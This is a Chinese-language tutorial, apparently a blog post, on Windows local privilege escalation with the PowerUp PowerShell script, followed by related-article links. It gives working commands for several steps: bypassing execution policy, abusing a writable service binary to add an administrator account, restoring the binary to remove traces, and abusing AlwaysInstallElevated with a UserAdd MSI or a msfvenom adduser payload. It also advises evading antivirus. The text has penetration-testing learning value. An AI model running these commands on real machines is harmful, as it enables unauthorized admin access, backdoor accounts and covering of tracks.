PowerUp攻击模块实战
 
1.将PowerUp.ps1脚本上传至目标服务器,然后在本地执行
2.使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
由于检查项较多,输出内容繁杂,可以导出方便分析查看。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks" > sys.txt
 
也可以在cmd下导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。
第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
 
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
 
2)测试写权限
我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
 
3)权限提升
在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-ServiceAbuse -Name 'WMPNetworkSvc' -UserName micr067 -Password admin@123
 
之后当管理员运行该服务的时候,则会添加我们的账号。(账号未添加,后续再研究)
 
4)删除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
 
恢复
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
l 移除备份二进制文件‘
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
 
上传PowerUp.ps1到目标机器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模块来检查注册表项是否被设置,此策略在本地策略编辑器(gpedit.msc):
 
关于AlwaysInstallElevated 注册表项
Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。
 
如果 AlwaysInstallElevated 注册表项被设置,意味着的 MSI 文件是以 system 权限运行的。命令如下,True 表示已经设置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
 
也可以使用注册表查看
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
0x02 权限提升
接着我们需要生成恶意的MSI安装文件,让其来添加用户,第一种方法可以使用PowerUp脚本自带的 Write-UserAddMSI 模块,运行后生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI
然后我们以普通用户权限运行这个 UserAdd.msi,就会成功添加账户:
由于我是在payload域环境下,密码需要符合密码强度才能添加,否侧会弹窗报错!
 
添加了一个backdoor用户。
并且是管理员权限。
 
第二种方法,通过msfvenom生成一个msi后门,同样可以实现上面的功能。
 
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此处对密码强度有要求,否则会报错!
meterpreter上传msi木马,然后运行即可
msiexec工具相关的参数:
/quiet=安装过程中禁止向用户发送消息
/qn=不使用图形界面
/i=安装程序
执行之后,成功添加上了该账号密码。当然这里也可以直接生成木马程序。
注:由于是msf生成的msi文件,所以默认会被杀毒软件拦截,做好免杀。
 
msiexec /quiet /qn /i C:\add.msi
成功添加用户。
 
msf下存在自动化的脚本供我们提权使用
 
exploit/windows/local/always_install_elevated
 

PowerUp攻击模块实战的更多相关文章

  1. PowerUp攻击渗透实战

    记录下PowerUp在实战渗透中的利用 准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 1)Invoke-Al ...

  2. POWERUP攻击渗透实战2

    准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 运用到的模块:Get-RegistryAlwaysInstal ...

  3. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  4. (转)网站DDOS攻击防护实战老男孩经验心得分享

    网站DDOS攻击防护实战老男孩经验心得分享 原文:http://blog.51cto.com/oldboy/845349

  5. Metasploit自动攻击模块

    Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...

  6. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  7. Burp Suite Intruder Module - 攻击模块

    参考链接:https://portswigger.net/burp/documentation/desktop/tools/intruder/using 主要思路:在Intruder模块下设定Targ ...

  8. Python常用模块实战之ATM和购物车系统再升级

    目录 一.项目地址 二.功能需求 一.项目地址 https://github.com/nickchen121/atm 二.功能需求 FUNC_MSG = { '0': '注销', '1': '登录', ...

  9. powershell(一)

    Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能.powershell程 ...

随机推荐

  1. Appium+python自动化(三十七)- 士兵突击许三多 - 多个appium服务启动,多个设备启动,多进程并发启动设备-并发测试 - 下(超详解)

    简介 接着上一篇继续看一下如何并发测试以及并发测试的过程中,可能遇到的问题,在这里宏哥把宏哥遇到的和小伙伴或者童鞋们,一起分享一下. Appium端口检测 问题思考 经过前面学习,我们已经能够使用py ...

  2. airflow使用本地时区

    ​ 在airflow中使用的时间是utc时间,而更多时候我们希望的是使用本地时间,于是在定义airflow定时任务的时候,涉及到了时间的转换. 1.python中本地时间和utc时间的转换 查看国内可 ...

  3. hive 元数据解析

    在使用Hive进行开发时,我们往往需要获得一个已存在hive表的建表语句(DDL),然而hive本身并没有提供这样一个工具. 要想还原建表DDL就必须从元数据入手,我们知道,hive的元数据并不存放在 ...

  4. Mahout介绍、安装与应用案例

        搭建环境 部署节点操作系统为CentOS,防火墙和SElinux禁用,创建了一个shiyanlou用户并在系统根目录下创建/app目录,用于存放 Hadoop等组件运行包.因为该目录用于安装h ...

  5. Spring+Mybatis整合的练手小项目(一)项目部署

    声明:教程是网上找的,代码是自己敲的 项目目录大致如下: 1. 首先创建Maven工程,在pom.xml中加入项目所需依赖: <?xml version="1.0" enco ...

  6. 微信小程序商城构建全栈应用 Thinkphp5

    课程——微信小程序商城构建全栈应用[目录]第1章 前言:不同的时代,不同的Web第2章 环境,工具与准备工作第3章 模块,路由与获取请求参数第4章 构建验证层第5章 REST与RESTFul第6章 A ...

  7. Linux 笔记 - 第十五章 MySQL 常用操作和 phpMyAdmin

    博客地址:http://www.moonxy.com 一.前言 前面几章介绍了 MySQL 的安装和简单的配置,只会这些还不够,作为 Linux 系统管理员,我们还需要掌握一些基本的操作,以满足日常管 ...

  8. C#基础知识总结(三)--反射

    如何在C#.NET开发中使用反射. 首先,我新建一个普通的类库项目.在该项目的测试类中,定义好 属性.静态方法.实例方法.无参方法等... 代码如下: using System; using Syst ...

  9. [LeetCode] 面试题之犄角旮旯 第叁章

    题库:LeetCode题库 - 中等难度 习题:网友收集 - zhizhiyu 此处应为一个简单的核心总结,以及练习笔记. 查找一个数“在不在”?桶排序理论上貌似不错. 回文问题 ----> [ ...

  10. SPSS学习笔记参数检验—两配对样本t检验

    目的:检验两个有联系的正态总体的均值是否存在显著差异. 适用条件:有联系,正态总体,样本量要一样.一般可以分为一下四种: ①同一受试对象处理前后的对比:如对于糖尿病人,对同一组病人在使用新治疗方法前测 ...